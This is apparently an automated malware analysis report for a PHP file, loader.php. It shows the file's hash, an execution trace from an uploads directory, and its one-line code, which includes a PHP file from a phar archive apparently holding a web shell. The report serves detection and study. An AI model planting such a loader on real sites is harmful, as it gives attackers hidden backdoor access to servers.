PHP Malware Analysis

loader.php

md5: 60036d51a2987d6f0a0a8c5e1c085232

Jump to:

Screenshot


Attributes


Deobfuscated PHP code

<?php

include "phar://alfa41-index.zip/alfa41-index.php";

Execution traces

data/traces/60036d51a2987d6f0a0a8c5e1c085232_trace-1676254072.8271.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:08:18.724943]
1	0	1	0.000136	393528
1	3	0	0.000177	393200	{main}	1		/var/www/html/uploads/loader.php	0	0
1	3	1	0.000245	393576
			0.000270	314616
TRACE END   [2023-02-13 00:08:18.725104]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php

	include("phar://alfa41-index.zip/alfa41-index.php");
	
?>